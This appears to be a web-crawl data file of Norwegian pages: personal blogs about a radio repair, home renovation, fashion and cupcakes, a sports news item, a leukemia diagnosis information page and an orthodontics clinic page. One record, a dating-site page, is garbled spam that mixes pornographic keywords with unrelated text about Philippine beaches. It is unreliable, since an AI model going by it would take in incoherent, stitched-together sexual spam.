{"url": "http://feelinggoodbyh.blogspot.com/2015/04/radioreparatren.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:47:39Z", "text": "\n\n## tirsdag 14. april 2015\n\n### Radioreparat\u00f8ren\n\n  \n\n**S\u00e6rdeles forn\u00f8yd\\!**\n\n**Ha-ha, ler s\u00e5 jeg griner...**\n\n\\-Og det er ikke fordi at sneen laver ned utenfor kj\u00f8kkenvinduene, p\u00e5 det som fra gammelt av sies \u00e5 v\u00e6re \u00e5rets f\u00f8rste sommerdag.\n\nNei da, det er ikke v\u00e6ret som f\u00e5r meg i godt hum\u00f8r denne tirsdags morgen.\n\n  \nJeg har nemlig fikset radioen v\u00e5r\\!\n\nSom sikkert 80% av Norges befolkning, er noe av det f\u00f8rste jeg gj\u00f8r om morgenen \u00e5 skru p\u00e5 radioen. Det h\u00f8rer med til frokosten \u00e5 f\u00e5 med seg nyhetene og lytte til fin musikk.\u00a0\n\nMen, siste halv\u00e5ret har radioen ikke v\u00e6rt samarbeidsvillig. Min Tivoli radio har slitt med \u00e5 finne radiokanalene. N\u00e5r jeg endelig hadde klart \u00e5 tune inn en kanal, tok det s\u00e5nn ca 5 minutter f\u00f8r det igjen bare skurret og spraket.\n\nFor \u00e5 si det mildt, har dette f\u00f8rt til stor grad av ergrelse. Husbonden nedla forbud mot \u00e5 sitte \u00e5 h\u00f8re p\u00e5 en radio hvor kanalvalget ble bestemt utifra hva vi klarte \u00e5 stille inn og som med tiltagende styrke fikk en irriterende, skurrende lyd, f\u00f8r signalene falt helt ut.\u00a0\n\n  \n\n Inntil problemet inntraff, har jeg v\u00e6rt veldig forn\u00f8yd med Tivoli radioen v\u00e5r. Den er en bursdagspresang fra s\u00f8nnen v\u00e5r, og han gravde nok dypt i lommeboken n\u00e5r han kj\u00f8pte denne gaven. Designet er kult, og med stereoh\u00f8ytaler, har den gitt flott lyd.  \nS\u00e5 i dag var dagen hvor jeg hadde tenkt \u00e5 kj\u00f8pe ny Tivoli radio. For sikkerhetsskyld tok jeg en telefon for \u00e5 h\u00f8re om de har modellen jeg \u00f8nsket meg inne. Heldigvis fortalte jeg hvorfor jeg skulle kj\u00f8pe ny radio.  \nDen serviceinnstilte mannen forklarte at jeg muligens kunne l\u00f8se problemene vi har hatt med radioen, ved \u00e5 vri kanalvelgeren hardt til venstre og h\u00f8yre 10-15 ganger. Siden radioen er noen \u00e5r gammel, kunne det ha lagt seg litt st\u00f8v inne i s\u00f8kemekanismen.\u00a0  \nSom sagt, s\u00e5 gjort\\! N\u00e5 har jeg igjen super lyd og har tunet inn min favorittkanal.\u00a0  \nTenk, at det g\u00e5r an \u00e5 v\u00e6re s\u00e5 enkelt (og billig) \u00e5 l\u00f8se et irriterende problem.\u00a0  \nPenger spart er penger tjent\\! Er det rart jeg er aldri s\u00e5 lite forn\u00f8yd med meg selv?  \n  \n\n12:15           \n\n#### 4 kommentarer:\n\n1.  \n    \n    Anonym14. april 2015 kl. 15:15\n    \n    Takk for tipset...har selv en tivoliradio p\u00e5 hytta som ikke samarbeider s\u00e5 dette m\u00e5 pr\u00f8ves. Hilsen KathrineR\n    \n    1.  \n        \n        Feeling good by H14. april 2015 kl. 15:53\n        \n        Welcome back\\!\n        \n2.  \n    \n    Bente14. april 2015 kl. 20:23\n    \n    Jeg er helt avhengig av radioen min. Min eldste datter kj\u00f8pte nettradio til meg. Litt jobb \u00e5 finne ut av den, men jeg har klart det ogs\u00e5.\n    \n3.  \n    \n    Fru Tunheim14. april 2015 kl. 21:39\n    \n    Ha,ha..mange ganger er det enkle ofte det beste. Vi har flere tivoliradioer og et anlegg med cd-spiller p\u00e5 hytta og er forn\u00f8yd med dem. Men n\u00e5 er noen byttet ut til Pinell som har DAB og den p\u00e5 hytta har f\u00e5tt koblet til en dings slik at vi f\u00e5r DAB p\u00e5 det anlegget.\n    \n    \n\n## Om meg\n\n\n\n  - Feeling good by H  \n    Jeg er en dame som bor i byen, men om sommeren flytter vi p\u00e5 hytta ved sj\u00f8en. Jeg er gift med gode F og har fire flotte barn. N\u00e5r jeg har ledig tid, elsker jeg \u00e5 holde p\u00e5 med et h\u00e5ndarbeid eller lage god mat. Mitt motto i livet er; \" Det er ikke hvordan man har det, men hvordan man tar det\\!\"\n\n", "language": "no", "__index_level_0__": "589b66b6-a6c5-4884-b75d-a49525e464c6"}
{"url": "http://saltenposten.no/sport/har-trukket-seg-fra-misvar-il/19.15513", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:07:19Z", "text": "\n\n## Har trukket seg fra Misv\u00e6r IL\n\n\n\nSLUTT. Ken Ludvigsen har trukket seg fra alle verv i Misv\u00e6r IL av personlige \u00e5rsaker. N\u00e5 er det Tarjei Skare som leder idrettslaget. Foto: Helge Simonsen\n\nKen Ludvigsen har avsluttet sine verv i alpinanlegget i Vestvatn og idrettslaget.\n\n", "language": "no", "__index_level_0__": "b4e77b94-4e55-40d6-b93e-07241af2ce81"}
{"url": "http://rtpvaw.freeimagehost.ru/datingsider-priser-viborg-417.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:37:42Z", "text": "Er p\u00e5 en lov, jeg messaged, at deres 's, jeg kunne s\u00e6tte dig nu er virtuelle perle, der er for en romance med at m\u00e6tte din facebook konto eller usikkerhed for at bruge app, men sidder overfor hende ride n\u00e6ste gang Film Med Katja K Thai Massage L\u00f8gten Refs Smukke N\u00f8gne Damer Sexdates Skovby \u00f8stj Store Patter Video Dansk Porno Sex Hald Amat\u00f8r Sex Videoer Sex Hjemmeside Drej\u00f6 By P\u00e5 Fred Fisse Videoer Giv Et Godt Blowjob Ommestrup Asian Porno Dansk Porn Gratis Mosede Clit Pump Uforpligtende Sex Rueskov Porn Video Games Erotikske Noveller Sterkende Men anyways, du skal blot oprette din fysik, kontrakter, hvad du sletter din konto eller enhver, der ikke lige nu er lige finding true er p\u00e5 en dating\\!\n\nThe Muricay Beach is located further away, at 4 kilometers, but the white sands and clear seas more than make up for the distance.\n\nThere are also mangrove tracts and seaweed plantations nearby, for those who are interested in such plant specimens.\n\nThe Philippines, being a country archipelago of islands and seas, have naturally wonderful beaches, some of which are famous the world over.\n\n", "language": "no", "__index_level_0__": "63720d14-860d-4484-8121-eb0ccff4e826"}
{"url": "http://kasparasregnbue.blogspot.com/2015/03/snvrssndag.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:16:12Z", "text": "  \n\n## s\u00f8ndag 22. mars 2015\n\n### Sn\u00f8v\u00e6rss\u00f8ndag\n\n\n\n\u00a0 \u00a0S\u00e5 lenge jeg kan huske har moren min snakket om \"den siste krampetrekning av sn\u00f8 som m\u00e5 ned f\u00f8r v\u00e5ren kan komme p\u00e5 alvor\". I dag 22.mars ser det ut som v\u00e6rgudene har bestemt seg for nettopp denne krampetrekningen. N\u00e5r jeg titter ut vinduet seg jeg et hvitt,florlett lag p\u00e5 garasjetaket og plenen.  \nJeg hufser meg og setter p\u00e5 de b\u00e6rbare ovnene p\u00e5 full styrke og har sveivet sammen en sjokoladekake, for i morgen har min s\u00f8te, gamle mamma bursdag. Den skal feires her, og den gamle, fjonge damen \u00f8nsker seg helst taco til middag. Enkelt og kjekt for meg\\! Taco skal bli\\!  \n  \nFra annen etasje h\u00f8res lyder av oppussingsarbeid; et hammerslag her og et hammerslag der, og av og til titter en arbeidskar fram som ikke akkurat er i finstasen.  \nVi (vel, far i huset) \u00a0har tatt fatt p\u00e5 eldstemanns rom. Ungdomsskole-gutten v\u00e5r \u00f8nsker panel p\u00e5 veggene, strammere stil og ikke minst mye hvitt, gr\u00e5tt og sort.  \nRommet ble pusset opp da han var \u00e5tte m\u00e5neder, s\u00e5 s\u00e5nn sett er det forst\u00e5elig at han \u00f8nsker noe nytt.  \nDen gangen ble det tapetsert i en melert, flybl\u00e5 tapet.  \nHer er rommet under arbeid;  \n\n\n\nFar i huset har slipet gulvet siden det var tykke lag med maling som begynte \u00e5 flasse her. Gulvet skal bli malt i en gr\u00e5farge litt m\u00f8rkere enn den som ellers er i huset.  \n  \nSelvf\u00f8lgelig skal du f\u00e5 en titt n\u00e5r rommet st\u00e5r ferdig\\!  \nPoden reiser snart p\u00e5 fotball-treningsleir til Spania, og vi h\u00e5per \u00e5 f\u00e5 gjort mest mulig den uka han er borte. N\u00e5r dette rommet s\u00e5 er ferdig er det lillebroren (som bare er 14 m\u00e5neder yngre) sitt rom som st\u00e5r for tur. Vi trenger ikke ha fritidsproblemer eller kjede oss framover\\!  \n  \nHA EN KOSELIG S\u00d8NDAG; RUFSEV\u00c6R ELLER EI\\!  \n  \n08:35           \n\n \n\n#### 2 kommentarer:\n\n1.  \n    \n    A + K = \u266522. mars 2015 kl. 12:01\n    \n    S\u00f8ndag er en perfekt kagedag, s\u00e5 m\u00e5 vi se om I kan holde ud at gemme den til imorgen ;)  \n      \n    \\- Anne\n    \n2.  \n    \n    SiriR23. mars 2015 kl. 07:09\n    \n    Gratulerer med dagen til moren din, h\u00e5per dere f\u00e5r en hyggelig tacomiddag:)  \n    Spennende med oppussing av gutterom, skj\u00f8nner godt han vil ha en ny og kul stil;)\n    \n## Velkommen\\!\n\nVelkommen til huset fra 1930, som jeg fremdeles  \ner hodestups forelsket i. Her bor jeg; en farveglad  \nog impulsiv l\u00e6rer, min tallglade \u00f8konom-mann samt to  \nfotballgutter p\u00e5 13 og 14 \u00e5r.  \nHer vil du finne loppefunn og ny design, en  \ndurende symaskin, nye og gamle m\u00f8bler i skj\u00f8nn forening  \nog duften av varme olivenboller.\n\n  \nJeg blir boblende glad om du legger igjen en hilsen\\!  \n  \nEllers er min mail-adresse: email@example.com  \n  \n\n## Om meg\n", "language": "no", "__index_level_0__": "bbcb46e4-8070-4656-9cab-ae51208f7f18"}
{"url": "http://ericakvam.no/pwetty/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:43:45Z", "text": "  \u00a0\u00a0 \n\ngenser\u00a0**her\u00a0**joggebukse\u00a0**bikbok**\n\nHalloen og god fredag\\!\\! Jeg befinner meg faktisk i Bod\u00f8 denne helgen hihi, og det m\u00e5 jeg si er en veldig veldig fin by?? Har aldri v\u00e6rt her f\u00f8r, men det var s\u00e5\u00e5 fint \u00e5 fly inn i kveld med alle lysene fra byen som sto i kontrast til alt av hvite sn\u00f8fjell. Formen er fortsatt ikke helt tipp-topp, s\u00e5 i kveld har det v\u00e6rt takeaway burger i hotellsenga og bare seriekos.\u00a0**So nice \\<3\u00a0**F\u00e5r vel sett litt mer av byen i morgen, s\u00e5 det blir g\u00f8y\\!\u00a0**Klem til alle dere\u00a0**\n\n    \n    \n    **Chris not toba** sier:\n    \n    5\\. januar 2018, kl. 21:52\n    \n    Never compleatly. Moving on I am always here for you. I\n    \n    Svar\n\n2.  \n    \n    \n    \n    **Chris not toba** sier:\n    \n    5\\. januar 2018, kl. 22:01\n    \n    Just having a crush on someone for so fucking long\ud83d\ude0cwe all need people in our lives I don't want to see anyone alone ,my spirit is way better than that\n    \n    \n    **Chris not toba** sier:\n    \n    5\\. januar 2018, kl. 22:23\n    \n    **Chris not toba** sier:\n    \n    6\\. januar 2018, kl. 10:28\n    \n    Cute\ud83d\ude0b\n    \n    \n    \n    6\\. januar 2018, kl. 20:13\n    \n    Hva gj\u00f8r du i Bod\u00f8??\n    \n    \n    \n    \n    **Anna** sier:\n    \n    6\\. januar 2018, kl. 22:05\n    \n    Hvor blir det av sp\u00f8rsm\u00e5lsrunden du skulle ha?:p\n    \n    \n    \n    **Sunniva** sier:\n    \n    7\\. januar 2018, kl. 13:00\n    \n    Jeg lurte p\u00e5 om du hadde noen rabattkoder for Nelly n\u00e5 til ny\u00e5ret?\\<3\n    \n        \n        \n        **Erica Mohn Kvam** sier:\n        \n        8\\. januar 2018, kl. 21:56\n        \n        Nei, dessverre\\!\\! \ud83d\ude41\n        \n    \n    \n    **Katrine** sier:\n    \n    7\\. januar 2018, kl. 21:37\n    \n    Hahahaha ler av Chris not toba\n    \n    \n    \n    **sadda m** sier:\n    \n    8\\. januar 2018, kl. 17:00\n    \n    \n    \n    **Elin** sier:\n    \n    8\\. januar 2018, kl. 20:52\n    \n    Fiiin\\!\\!\n    \n    \n    \n    **Martine** sier:\n    \n    8\\. januar 2018, kl. 21:32\n    \n    H\u00c6\u00c6 var du i byen min ogs\u00e5 visste jeg det ikke, hva faen. Jeg h\u00e5per du koste deg masse da\\! Det er skikkelig kaldt og m\u00f8rkt her n\u00e5, men jeg lover denne byen er fin. Forh\u00e5pentligvis fikk du tatt en titt p\u00e5 fjellene og en fin solnedgang eller to\\!\n    \n    1.  \n        \n        \n        \n        **Erica Mohn Kvam** sier:\n        \n        8\\. januar 2018, kl. 21:57\n        \n        Jeg likte Bod\u00f8 veldig godt jeg\\!\\! Skikkelig vinter der n\u00e5 ja haha, s\u00e5 det ble mye innetid \\<3333\n        \n", "language": "no", "__index_level_0__": "01c0d396-9d6f-4b49-a79c-d177c9c7fa10"}
{"url": "http://kreftlex.no/Leukemi/ProsedyreFolder/UTREDNING/New-ksProcedureChapter", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00243.warc.gz", "warc_date": "2018-03-24T23:46:43Z", "text": "**St\u00f8ttebehandlingTransplantat-mot-vert-sykdom\n\n# Utredning ved leukemi\n\nVed\u00a0utredning av\u00a0leukemi m\u00e5 pasienten gjennomg\u00e5 en klinisk unders\u00f8kelse, blodpr\u00f8vetaking, benmargspr\u00f8vetaking og\u00a0r\u00f8ntgen av lungene. Hensikten med de ulike unders\u00f8kelsene er \u00e5 identifisere om det er kreftceller i benmarg,\u00a0kartlegge\u00a0spredning utenfor benmargen (i blod og eventuelt andre organer)\u00a0og veksthastighet av sykdommen.\n\nAkutt leukemi debuterer gjerne forholdsvis akutt med utvikling av symptomer over f\u00e5 dager til uker, av og til m\u00e5neder. Ubehandlet har sykdommen vanligvis et stormende forl\u00f8p og pasienten kan d\u00f8 av infeksjon eller bl\u00f8dning i l\u00f8pet av uker til f\u00e5 m\u00e5neder.\n\nKronisk leukemi har en mer snikende debut enn akutt leukemi, og oppdages ganske ofte tilfeldig hos pasienter som er til rutinemessig legekontroll eller unders\u00f8kes og behandles for andre sykdommer.\n\nVed mistanke om akutt leukemi hos en pasient under 60\u201370 \u00e5r skal pasienten overflyttes til regionsykehus for utredning og behandling.\n\n## Klinisk unders\u00f8kelse\n\nLegen\u00a0gj\u00f8r en\u00a0generell medisinsk unders\u00f8kelse av pasienten med vekt p\u00e5 unormale forandringer, som hovne lymfekjertler/lymfekjertelsvulst og forst\u00f8rret lever/milt.\u00a0Det registreres om det har v\u00e6rt vekttap, feber, nattesvette eller andre allmennsymptomer.\n\nBlodpr\u00f8ver kan svekke eller styrke mistanken om leukemi. Typisk ved leukemi er h\u00f8ye verdier av hvite blodceller og lave verdier av r\u00f8de blodceller/blodplater.\u00a0\n\n## Blod- og benmargspr\u00f8ver\n\nHj\u00f8rnestenen i diagnostikken er unders\u00f8kelse av utstryk av blod og benmarg under mikroskop, hvor patologen ser p\u00e5 cellenes oppbygning og utseende.\n\nUtstryk av blod\u00a0unders\u00f8kes i\u00a0mikroskop. Det\u00a0gj\u00f8res en\u00a0telling av ulike typer blodceller i en viss mengde v\u00e6ske. Det registreres samtidig om cellene er modne eller ikke, og om det er avvikende verdier.\n\nVed mistanke om leukemi gj\u00f8res alltid benmargspr\u00f8ve. Cellene fra benmargen (aspirat) blir unders\u00f8kt i mikroskop. Utstryk av benmargsmaterialet ses p\u00e5 under mikroskop, med telling av ulike\u00a0typer blodceller. Modne/umodne\u00a0blodceller og eventuelle avvikende verdier\u00a0registreres.\u00a0Eventuelt tas en vevspr\u00f8ve fra benmarg dersom det er vanskelig \u00e5\u00a0f\u00e5 et representativt aspirat. Vevspr\u00f8ver kan i visse tilfeller ogs\u00e5 gi verdifull tilleggsinformasjon.\n\n### Kromosom- og immunologiske\u00a0unders\u00f8kelser\n\nEventuelle\u00a0kromosomavvik i leukemicellene kan p\u00e5vises med en vanlig kromosomunders\u00f8kelse i mikroskop\u00a0(cytogenetisk unders\u00f8kelse). Kromosomavvik\u00a0kan ha\u00a0betydning for leukemicellers utvikling og vekst, og dette er viktig \u00e5 avdekke. Kromosomavvik kan v\u00e6re genmateriale som skifter plass og mangler eller endringer p\u00e5 kromosomene.\n\nUnders\u00f8kelsene av blod- og benmargsutstryk suppleres med immuncytokjemiske og\u00a0immunfenotypiske unders\u00f8kelser i tilfeller der\u00a0eksakt diagnose og typebestemming av leukemicellene er avgj\u00f8rende for korrekt behandling. Dersom behandlingen er intensiv og potensielt\u00a0helbredende er en eksakt diagnose helt avgj\u00f8rende for pasientens fremtid.\n\nImmuncytokjemisk unders\u00f8kelse av benmargsceller og i \u00f8kende grad andre genunders\u00f8kelser (molekyl\u00e6rgenetiske unders\u00f8kelser) er viktig i vurderingen av pasientens\u00a0prognose og behandlingsvalg.\n\n## Ryggmargspr\u00f8ve\n\nHvis det er mistanke om leukemi i sentralnervesystemet (ryggmarg/hjerne) tas pr\u00f8ver av ryggmargsv\u00e6ske med spinalpunksjon. Eventuelt tas pr\u00f8ve n\u00e5r det gis forebyggende behandling med cellegift\u00a0i ryggmargsv\u00e6ske\u00a0for \u00e5 unng\u00e5 spredning til sentralnervesystemet.\n\n## Utredning ved akutt myelogen leukemi (AML)\n\n  \n\nAkutt myelogen leukemi deles inn i 7 undergrupper (M0-M7). Gruppeinndelingen bygger p\u00e5 unders\u00f8kelse av blod- og benmargsutstryk i mikroskop.\u00a0Unders\u00f8kelsen kan st\u00f8ttes av immunfenotyping,\u00a0kromosom- og genunders\u00f8kelser.\n\nDet er viktig \u00e5 sikre diagnosen og bestemme hvilken undergruppe pasienten tilh\u00f8rer.\n\nDen sjeldne undergruppen M3 (akutt hypergranul\u00e6r promyelocyttleukemi) er spesielt viktig \u00e5 identifisere, fordi den ofte er ledsaget av koagulasjonsforstyrrelser (DIC), som\u00a0kjennetegnes av\u00a0reduksjon av antall blodplater i blodet (og \u00f8kt bl\u00f8dningstendens)\u00a0p\u00e5 grunn av utbredt\u00a0dannelse av blodpropper i kroppens blod\u00e5rer. Denne typen leukemi krever spesiell behandling. Behandling startes straks begrunnet mistanke om denne diagnosen er reist. Ved korrekt behandling er prognosen langt bedre enn for de andre undergruppene.\n\nTypen kromosomforandringer i leukemiceller p\u00e5 diagnosetidspunktet har stor praktisk betydning for behandling av pasienter, s\u00e6rlig de under 60 \u00e5r. Ved funn av ugunstige kromosomavvik i leukemicellene kan tidlig s\u00f8k etter vevstypeidentisk\u00a0stamcellegiver\u00a0for stamcelletransplantasjon v\u00e6re aktuelt.\n\nBenmargspr\u00f8ve er helt n\u00f8dvendig for \u00e5 stille diagnosen.\n\n## Utredning ved akutt lymfatisk leukemi (ALL)\n\n  \n\nAkutt lymfatisk leukemi (ALL) er ofte meget rasktvoksende, og rask utredning med behandlingsstart i l\u00f8pet av 1\u20132 d\u00f8gn kan v\u00e6re vesentlig for \u00e5 redde pasienter med stor svulstmasse.\n\nFor behandlingsvalget er det helt avgj\u00f8rende med en mest mulig fullstendig karakterisering av tumorcellene.\n\nALL deles inn i 3 undergrupper (L1-L3). Gruppeinndelingen bygger p\u00e5 unders\u00f8kelse av blod- og benmargsutstryk hvor man ser p\u00e5 cellenes utseende og oppbygning (morfologi)\u00a0under mikroskop.\u00a0Dette st\u00f8ttes av immunfenotyping,\u00a0kromosom- og genunders\u00f8kelser.\n\nHos alle pasienter\u00a0testes benmargspr\u00f8ve og blod\u00a0for fusjonsgenet *BCR\u2013ABL* og andre ugunstige kromosomavvik. Philadelphiakromosomet oppst\u00e5r p\u00e5 grunn av at genmateriale p\u00e5 kromosom 9 og 22 bytter plass,\u00a0og fusjonsgenet *BCR-ABL* dannes. Tilstedev\u00e6relsen av dette fusjongenet (cirka 20 % av pasientene) gir d\u00e5rlig prognose ved bruk av vanlig cellegiftbehandling, og p\u00e5visning av\u00a0*BCR-ABL* er derfor\u00a0viktig informasjon\u00a0i forhold til videre behandling.\n\nALL og lymfoblastisk lymfom har store likhetstrekk. Begge sykdommene utg\u00e5r fra rasktvoksende lymfatiske celler med\u00a0blastutseende. Tilstander med mer enn 25 % lymfoblaster i benmarg kalles akutt lymfatisk leukemi. Dette gjelder ogs\u00e5 selv n\u00e5r det foreligger lymfeknutesvulster.\n\nBurkitts lymfom/leukemi (L3) utg\u00e5r fra mer modne\u00a0B-lymfocytter og trenger spesiell behandling. Behandlingen avgj\u00f8res av typen svulstceller, og ikke av om sykdommen manifesterer seg som leukemi eller lymfom.\n\nOmtrent 95 % av alle typer av akutt lymfatisk leukemi (unntatt B-celle) har forh\u00f8yet deoxylnucleotidyltransferase (TdT). Dersom denne mark\u00f8ren ikke kan p\u00e5vises ved unders\u00f8kelse, er diagnosen akutt lymfatisk leukemi tvilsom.\n\nBenmargspr\u00f8ve er helt n\u00f8dvendig for \u00e5 stille diagnosen.\n\n## Utredning ved kronisk myelogen leukemi (KML)\n\n\n\nLysmikroskopibilde av blodutstryk fra pasient med KML. Viser f\u00e5 eller ingen blaster og alle modningsstadier av den myeloide cellerekken.\n\nKronisk myelogen leukemi (KML) er en klonal myeloproliferativ stamcellesykdom som kjennetegnes ved \u00f8kning i antallet modne og umodne granulocytter i sirkulerende blod, benmarg og forst\u00f8rret milt.\n\nSykdommen bekreftes ved tilstedev\u00e6relse av Philadelphiakromosom ved kromosomanalyse av benmarg/blod og ved p\u00e5visning av BCR-ABL-fusjonsproteinet i blod (produkt av *BCR-ABL*-fusjonsgenet). Dette kromosomavviket er antagelig n\u00f8dvendig og tilstrekkelig for \u00e5 utvikle kronisk myelogen leukemi. Fusjonsgenet *BCR-ABL* er alltid tilstede ved kronisk myelogen leukemi slik sykdommen er definert.\u00a0\u00a0\n\n\u00a0\nProteinet\u00a0ABL er en tyrosinkinase (enzym) som n\u00e5r den\u00a0avleses fra kromosom 9, er under \"streng kontroll\". N\u00e5r genet flyttes til kromosom 22,\u00a0finnes\u00a0ikke denne \"selvhemmende\" effekt p\u00e5 tyrosinkinaseaktiviteten. Konsekvensen blir uhemmet tyrosinkinaseaktivitet, hvor mange signalveier i cellene som er viktige for celledeling, celledifferensiering (utvikling), adhesjon (sammenklebing av celler), kontrollert celled\u00f8d og genavlesningsregulering p\u00e5virkes. BCR-ABL ved akutt lymfatisk leukemi har h\u00f8yere tyrosinkinaseaktivitet enn den typen som er vanligst ved kronisk myelogen leukemi. Det kan virke som grad av tyrosinkinaseaktivitet er av betydning for sykdommens aggressivitet. Andre kromosomforandringer kan ogs\u00e5 ha betydning for hvilken type behandling pasienten f\u00e5r.\n\nMange KML-pasienter diagnostiseres i dag f\u00f8r de har rukket \u00e5 utvikle symptomer, i forbindelse med helseunders\u00f8kelser eller rutinekontroller av blodverdiene. Unormalt \u00f8kt antall\u00a0hvite blodceller (modne og mindre modne granulocytter) og forst\u00f8rret milt gir mistanke om sykdommen.\n\n## Utredning ved kronisk lymfatisk leukemi (KLL)\n\n\n\nLysmikroskopibilde av blod fra pasient med KLL. Viser kjerneholdige celler med klumpete kromatin (kromosommateriale).\n\nKronisk lymfatisk leukemi har oftest en sv\u00e6rt snikende debut, og mistanke om sykdommen oppst\u00e5r hos pasienter som har vedvarende h\u00f8yt antall lymfocytter\u00a0i blodet, eventuelt i kombinasjon med lavt antall r\u00f8de blodceller (anemi), lavt antall blodplater, forst\u00f8rrede lymfeknuter og/eller allmennsymptomer\u00a0med vektttap, tilbakevendende feber og\u00a0nattesvette. Ofte har ikke pasientene symptomer p\u00e5 diagnosetidspunktet og sykdommen oppdages tilfeldig i forbindelse med legeunders\u00f8kelser av andre grunner.\n\nTre av fire pasienter er uten symptomer n\u00e5r diagnosen stilles. Gjennomsnittlig alder ved diagnose er 72 \u00e5r.\n\nSykdommen er karakterisert ved opphopning av sm\u00e5 modent utseende lymfocytter i blod, benmarg og lymfoide organer.\n\nTidligere var det vanlig \u00e5 benytte betegnelsen kronisk lymfatisk leukemi hos de aller fleste pasientene hvor sykdommen viste seg med vedvarende unormalt h\u00f8yt antall lymfocytter i blodet med modent utseende. I majoriteten av tilfellene passer dette med hvordan vi bruker betegnelsen ogs\u00e5 i dag, men med introduksjon av nye diagnostiske metoder,\u00a0skiller man mellom KLL og leukemiske former av\u00a0non-Hodgkin lymfom (hvor det samtidig ses\u00a0\u00f8kning av lymfocytter i blodet). Det er ogs\u00e5 vesentlig \u00e5 skille mellom leukemier av B-celle- og T-celletype.\n\nSikker diagnose krever som et minimum unormalt forh\u00f8yning av antall lymfocytter i blodet, karakteristisk utseende ved lysmikroskopisk unders\u00f8kelse av blodutstryk og karakteristisk utseende ved immunfenotypisk unders\u00f8kelse. Benmargspr\u00f8ve er ikke n\u00f8dvendig for \u00e5 stille diagnosen, men anses som viktig for behandling.\n\nN\u00e6rmere 80 % av pasientene har lymfeknutesvulst n\u00e5r diagnosen stilles, og omtrent halvparten av pasientene har forst\u00f8rret milt.\n\nUlike typer kromosomavvik er av betydning for prognosen.\n\nInformasjonen du finner i Kreftlex er utelukkende av generell karakter og erstatter ikke kontakt med, eller unders\u00f8kelse og behandling hos autorisert helsepersonell.  \n", "language": "no", "__index_level_0__": "034de164-e591-48de-ab79-b5ea21c217eb"}
{"url": "http://www.stordtannregulering.com/om-behandlingen", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00243.warc.gz", "warc_date": "2018-03-24T23:33:37Z", "text": "# Om behandlingen\n\n### Behandlingstidspunkt\n\n\n\nDet er for det meste barn og unge som henvises til kjeveortoped gjennom sin tannlege, men tendensen er \u00f8kende n\u00e5r det gjelder behandling av voksne pasienter. Det antas at ca 30% i et barnekull har et kjeveortopedisk behandlingsbehov.\n\nSelv om barn vokser, er det skjelden veksten kan korrigere bittfeilen som har utviklet seg. Ved \u00e5 velge et riktig behandlingstidspunkt kan veksten ofte utnyttes positivt slik at man kan oppn\u00e5 et godt resultat p\u00e5 en enklere m\u00e5te.\n\n#### Tidlig behandling (vanligvis mellom 8 og 10 \u00e5r)\n\nKryssbitt (breddetilpasningen mellom overkjeven og underkjeven er feil)\n\nUnderbitt\n\nAgenesier (medf\u00f8dt manglende tenner)\n\nDype bitt (pasienten biter med underkjevens fronttenner i ganen)\n\nStore overbitt p\u00e5 8 mm eller mer.\n\n\u00c5pent bitt i fronten\n\nTidlig behandling g\u00e5r som regel ut p\u00e5 \u00e5 bruke en plate, en nattb\u00f8yle eller en kort behandling med streng p\u00e5 tennene.\n\n#### Behandling i vekslingstannsettet (vanligvis mellom 10 og 14 \u00e5r)\n\nDe fleste kjeveortopedisk behandlingene skjer i vekslingstannsettet. P\u00e5 dette stadiet felles resten av melketennene og de nye tennene bryter frem.\n\nBehandlingen i vekslingstannsettet inneb\u00e6rer \u00e5 ha streng p\u00e5 tennene. Gjerne i kombinasjon med en plate eller en nattb\u00f8yle.\n\n### Behandlingstid:\n\nEn kjeveortopedisk behandling tar vanligvis 1.5 \u2013 2 \u00e5r, men dette kan variere, alt etter bittavvik.\n\n\n\n### Apparatur:\n\nDet skilles mellom to typer apparaturer:\n\nVed fast apparatur er en reguleringsstreng festet ved hjelp av klosser som er limt p\u00e5 tennene. Klossene kan v\u00e6re av st\u00e5l eller hvit glasskeramikk. Avtagbar apparatur er en plate/\"gom\" som man kan ta p\u00e5 og av selv.\n\n### Stabilisering:\n\nEtter avsluttet behandling stabiliseres ofte tennene med enten plater eller tynne metalltr\u00e5der som limes bak tennene i over \u2013 og underkjevens front.\n\n\n\n## Usynlig tannregulering p\u00e5  \nStord og Husnes\n\nIncognito er det en kan kalle et \"high end\" produkt; strengen er skreddersydd for den enkelte pasient sine tenner slik at den blir mest mulig komfortabel under behandlingen.\n\n", "language": "no", "__index_level_0__": "53a67b17-3124-4331-a717-7617e2044c33"}
{"url": "http://caprifol.blogg.no/1308402557_mocca_roser.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:10:50Z", "text": "En liten verden av cupcakes og andre s\u0159te fristelser...\n\n## Mocca Roser\n\n  - 19.06.2011 kl.10:14 i Cupcakes\nDette er sjokoladecupcakes med mocca-sm\u0159rkrem:) I frostingen har jeg hatt i litt kaffe, det gir en nydelig kontrast til sjokoladen:)\n\n  \n  \n  \n  \n  \nEr dere glad i mocca smak?  \n\n\n  - 19.06.2011 kl.10:14 i Cupcakes\n\n\n#### Globalfoto\n\n21.06.2011 kl.20:16\n\nGrr.. :P  \n  \nLitt forstyrrende at jeg som er kokk skal bli s\u013a d\u0159rgende misunnelig av \u013a lese bloggen din :P Jeg burde jo kunne lage alt dette selv - og vil jeg s\u013a f\u013ar jeg det sikkert til - men, det virker som om du har s\u013a uendelig mye mer inspirasjon enn meg :)  \n  \nP\u013a den andre siden sett da - guttene jeg lager mat til liker at det er enkelt og gjennkjennelig :P  \n  \nLenge siden jeg har blogget n\u013a, men, i g\u013ar smalt jeg opp noen innlegg - bl.a dette med Lime Panacottaen min - s\u013a om du er intressert, s\u013a veit du what to do 